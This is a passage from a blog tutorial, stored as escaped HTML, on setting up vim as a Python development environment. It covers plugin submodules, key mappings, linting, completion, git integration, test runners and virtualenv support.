data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/msanders/snipmate.vim.git bundle/snipmate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/tpope/vim-surround.git bundle/surround\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/tpope/vim-git.git bundle/git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/ervandew/supertab.git bundle/supertab\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/sontek/minibufexpl.vim.git bundle/minibufexpl\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/wincent/Command-T.git bundle/command-t\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/mitechie/pyflakes-pathogen.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/mileszs/ack.vim.git bundle/ack\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/sjl/gundo.vim.git bundle/gundo\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/fs111/pydoc.vim.git bundle/pydoc\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/vim-scripts/pep8.git bundle/pep8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/alfredodeza/pytest.vim.git bundle/py.test\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/reinh/vim-makegreen bundle/makegreen\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/vim-scripts/TaskList.vim.git bundle/tasklist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/vim-scripts/The-NERD-tree.git bundle/nerdtree\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/sontek/rope-vim.git bundle/ropevim\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule init\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule update\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule foreach git submodule init\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule foreach git submodule update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThats it! Now that we've got our vim configuration in git!\u003c/p\u003e\n\u003cp\u003eNow lets look at how to use each of these plugins to improve the power\nof vim:\u003c/p\u003e\n\u003ch1\u003eBasic Editing and Debugging\u003c/h1\u003e\n\u003ch2\u003eCode Folding\u003c/h2\u003e\n\u003cp\u003eLets first enable code folding. This makes it a lot easier to organize\nyour code and hide portions that you aren't interested in working on.\nThis is quite easy for Python, since whitespace is required.\u003c/p\u003e\n\u003cp\u003eIn your ~/.vimrc just add:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eset foldmethod=indent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eset foldlevel=99\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen you will be able to be inside a method and type 'za' to open and\nclose a fold.\u003c/p\u003e\n\u003ch2\u003eWindow Splits\u003c/h2\u003e\n\u003cp\u003eSometimes code folding isn't enough; you may need to start opening up\nmultiple windows and working on multiple files at once or different\nlocations within the same file. To do this in vim, you can use these\nshortcuts:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eVertical Split : Ctrl+w + v\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eHorizontal Split: Ctrl+w + s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eClose current windows: Ctrl+w + q\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI also like to bind Ctrl+\u0026#x3C;movement\u003e keys to move around the windows,\ninstead of using Ctrl+w + \u0026#x3C;movement\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;c-j\u003e \u0026#x3C;c-w\u003ej\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;c-k\u003e \u0026#x3C;c-w\u003ek\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;c-l\u003e \u0026#x3C;c-w\u003el\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;c-h\u003e \u0026#x3C;c-w\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/krj0l.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eSnippets\u003c/h2\u003e\n\u003cp\u003eThe next tweak that really speeds up development is using snipmate.\nWe've already included it in our bundle/ folder so its already enabled.\nTry opening up a python file and typing 'def\u0026#x3C;tab\u003e'. It should stub\nout a method definition for you and allow you to tab through and fill\nout the arguments, doc string, etc.\u003c/p\u003e\n\u003cp\u003eI also like to create my own snippets folder to put in some custom\nsnippets:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ mkdir ~/.vim/snippets\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ vim ~/.vim/snippets/python.snippets\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ePut this in the file:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esnippet pdb\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    import pdb; pdb.set_trace()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow you can type pdb\u0026#x3C;tab\u003e and it'll insert your breakpoint!\u003c/p\u003e\n\u003ch2\u003eTask lists\u003c/h2\u003e\n\u003cp\u003eAnother really useful thing is to mark some of your code as TODO or\nFIXME! I know we all like to think we write perfect code, but sometimes\nyou just have to settle and leave a note for yourself to come back\nlater. One of the plugins we included was the tasklist plugin that will\nallow us to search all open buffers for things to fix. Just add a\nmapping to open it in ~/.vimrc:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003etd \u0026#x3C;Plug\u003eTaskList\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow you can hit \u0026#x3C;leader\u003etd to open your task list and hit 'q' to\nclose it. You can also hit enter on the task to jump to the buffer and\nline that it is placed on.\u003c/p\u003e\n\u003ch2\u003eRevision History\u003c/h2\u003e\n\u003cp\u003eThe final basic editing tweak I suggest everyone start utilizing is the\nGundo plugin. It'll allow you to view diff's of every save on a file\nyou've made and allow you to quickly revert back and forth:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/2NrPS.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003cp\u003eJust bind a key in your .vimrc to toggle the Gundo window:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003eg :GundoToggle\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eSyntax Highlighting and Validation\u003c/h1\u003e\n\u003cp\u003eSimply enable syntax highlighting in your ~/.vimrc:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esyntax on                           \" syntax highlighing\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efiletype on                          \" try to detect filetypes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efiletype plugin indent on    \" enable loading indent file for filetype\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eBecause we enabled pyflakes when we added it as a submodule in\n~/.vim/bundle, it will notify you about unused imports and invalid\nsyntax. It will save you a lot of time saving and running just to find\nout you missed a colon. I like to tell it not use the quickfix window:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003elet g:pyflakes_use_quickfix = 0\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/ZfjFe.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003ePep8\u003c/h2\u003e\n\u003cp\u003eThe final plugin that really helps validate your code is the pep8\nplugin, it'll make sure your code is consistent across all projects.\nAdd a key mapping to your ~/.vimrc and then you'll be able to jump to\neach of the pep8 violations in the quickfix window:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003elet g:pep8_map='\u0026#x3C;leader\u003e8'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/VU9AB.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eTab Completion and Documentation\u003c/h1\u003e\n\u003cp\u003eVim has many different code completion options. We are going to use the\nSuperTab plugin to check the context of the code you are working on and\nchoose the best for the situation. We've already enabled the SuperTab\nplugin in the bundle/ folder, so we just have to configure it to be\ncontext sensitive and to enable omni code completion in your ~/.vimrc:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eau FileType python set omnifunc=pythoncomplete#Complete\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003elet g:SuperTabDefaultCompletionType = \"context\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we just enable the menu and pydoc preview to get the most useful\ninformation out of the code completion:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eset completeopt=menuone,longest,preview\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/g4lxP.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003cp\u003eWe also enabled the pydoc plugin at the beginning with all the\nsubmodules; that gives us the ability to hit \u0026#x3C;leader\u003epw when our\ncursor is on a module and have a new window open with the whole\ndocumentation page for it.\u003c/p\u003e\n\u003ch1\u003eCode Navigation\u003c/h1\u003e\n\u003ch2\u003eBuffers\u003c/h2\u003e\n\u003cp\u003eThe most important part about navigating code within vim, is to\ncompletely understand how to use buffers. There is no reason to use\ntabs. Open files with :e \u0026#x3C;filename\u003e to place in a buffer. We already\ninstalled the minibufexpl plugin, so you will already visually see every\nbuffer opened. You can also get a list of them doing :buffers.\u003c/p\u003e\n\u003cp\u003eYou can switch between the buffers using b\u0026#x3C;number\u003e, such as :b1 for\nthe first buffer. You can also use its name to match, so you can type :b\nmod\u0026#x3C;tab\u003e to autocomplete opening the models.py buffer. You need to\nmake sure you are using the minibufexpl from my github since it has\npatches that make it much better to work with.\u003c/p\u003e\n\u003cp\u003eTo close a buffer you use :bd or :bw.\u003c/p\u003e\n\u003ch2\u003eFuzzy Text File Search\u003c/h2\u003e\n\u003cp\u003eTo make finding and opening files within your project even easier, we\nare going to use the command-t plugin. It does have some parts that need\nto be compiled, so its not already installed by adding it as a\nsubmodule. Go to your ~/.vim/bundle/command-t folder and run 'rake\nmake'. Yes you need ruby installed. By default, command-t is bound to\n\u0026#x3C;leader\u003et. This will use fuzzy text matching to find any file in your\nproject.\u003c/p\u003e\n\u003cp\u003eIt also supports searching only through opened buffers, instead of files\nusing \u0026#x3C;leader\u003eb.\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/hUcSl.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eFile Browser\u003c/h2\u003e\n\u003cp\u003eNERD Tree is a project file browser. I must admit I used this heavily\nback when I was migrating from Visual Studio and used to the Solution\nExplorer, but I rarely use it anymore. Command-T is usually all you'll\nneed. It is useful when you are getting to know a new codebase for the\nfirst time though. Lets bind a shortcut key for opening it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003en :NERDTreeToggle\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/R4ZzQ.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eRefactoring and Go to definition\u003c/h2\u003e\n\u003cp\u003eRopevim is also a great tool that will allow you to navigate around your\ncode. It supports automatically inserting import statements, goto\ndefinition, refactoring, and code completion. You'll really want to\nread up on everything it does, but the two big things I use it for is to\njump to function or class definitions quickly and to rename things\n(including all their references).\u003c/p\u003e\n\u003cp\u003eFor instance, if you are using django and you place your cursor over the\nclass models.Model you reference and then called :RopeGotoDefintion, it\nwould jump you straight to the django library to that class definition.\nWe already have it installed in our bundles, so we bind it to a key to\nuse it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003ej :RopeGotoDefinition\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003er :RopeRename\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eSearching\u003c/h2\u003e\n\u003cp\u003eThe final tool that really speeds up navigating your code is the Ack\nplugin. Ack is similar to grep, but much better in my opinion. You can\nfuzzy text search for anything in your code (variable name, class,\nmethod, etc) and it'll give you a list of files and line numbers where\nthey are defined so you can quickly cycle through them. Just bind the\nsearching to a key:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;leader\u003ea \u0026#x3C;Esc\u003e:Ack!\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe use ! at the end of it so it doesn't open the first result\nautomatically.\u003c/p\u003e\n\u003ch1\u003eIntegration with Git\u003c/h1\u003e\n\u003cp\u003eWe installed 2 plugins, git.vim and fugitive, that give us all the\nintegration we need. Git.vim will provide us syntax highlighting for git\nconfiguration files; fugitive provides a great interface for interacting\nwith git including getting diffs, status updates, committing, and moving\nfiles.\u003c/p\u003e\n\u003cp\u003eFugitive also allows you to view what branch you are working in directly\nfrom vim. Add this to your statusline in ~/.vimrc:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e%{fugitive#statusline()}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe big commands you need to know:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGblame\u003c/strong\u003e: This allows you to view a line by line comparison of who\nthe last person to touch that line of code is.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGwrite\u003c/strong\u003e: This will stage your file for commit, basically doing\ngit add \u0026#x3C;filename\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGread\u003c/strong\u003e: This will basically run a git checkout \u0026#x3C;filename\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGcommit\u003c/strong\u003e: This will just run git commit. Since its in a vim\nbuffer, you can use keyword completion (Ctrl-N), like\ntest_all\u0026#x3C;Ctrl-N\u003e to find the method name in your buffer and\ncomplete it for the commit message. You can also use + and - on the\nfilenames in the message to stage/unstage them for the commit.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/NuRRj.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eTest Integration\u003c/h1\u003e\n\u003ch2\u003edjango nose\u003c/h2\u003e\n\u003cp\u003eTest runner integration really depends on the testing library you are\nusing and what type of tests you are running but we included a great\ngeneric plugin called MakeGreen that executes off of vim's makeprg\nvariable. So for instance, if you are using django with django-nose you\ncould define a shortcut key in your ~/.vimrc like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003edt :set makeprg=python\\ manage.py\\ test\\|:call MakeGreen()\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will just give you a green bar at the bottom of vim if your test\npassed or a red bar with the message of the failed test if it doesn't.\nVery simple.\u003c/p\u003e\n\u003ch2\u003epy.test\u003c/h2\u003e\n\u003cp\u003eI also included the py.test vim plugin for those who prefer it. This\nplugin has a lot more functionality including executing individual tests\nby class, file, or method. You can also cycle through the individual\nassertion errors. I have the following bindings:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\" Execute the tests\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etf \u0026#x3C;Esc\u003e:Pytest file\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etc \u0026#x3C;Esc\u003e:Pytest class\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etm \u0026#x3C;Esc\u003e:Pytest method\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\" cycle through test errors\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etn \u0026#x3C;Esc\u003e:Pytest next\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etp \u0026#x3C;Esc\u003e:Pytest previous\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003ete \u0026#x3C;Esc\u003e:Pytest error\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/RAE7v.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eVirtualenv\u003c/h1\u003e\n\u003cp\u003eVim doesn't realize that you are in a virtualenv so it wont give you\ncode completion for libraries only installed there. Add the following\nscript to your ~/.vimrc to fix it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\" Add the virtualenv's site-packages to vim path\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epy \u0026#x3C;\u0026#x3C; EOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport os.path\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport sys\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport vim\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eif 'VIRTUAL_ENV' in os.environ:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    project_base_dir = os.environ['VIRTUAL_ENV']\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    sys.path.insert(0, project_base_dir)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    activate_this = os.path.join(project_base_dir, 'bin/activate_this.py')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    execfile(activate_this, dict(__file__=activate_this))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eDjango\u003c/h1\u003e\n\u003cp\u003eThe only true django tweak I make is before I open vim I'll export the\nDJANGO_SETTINGS_MODULE environment so that I get code completion for\ndjango modules as well:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eexport DJANGO_SETTINGS_MODULE=project.settings\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eRandom Tips\u003c/h1\u003e\n\u003cp\u003eIf you want to find a new color scheme just go to\n\u003ca href=\"http://code.google.com/p/vimcolorschemetest/\"\u003ehttp://code.google.com/p/vimcolorschemetest/\u003c/a\u003e to preview a large\nselection.\u003c/p\u003e\n\u003cp\u003eJohn Anderson \u0026#x3C;\u003ca href=\"mailto:sontek@gmail.com\"\u003esontek@gmail.com\u003c/a\u003e\u003e 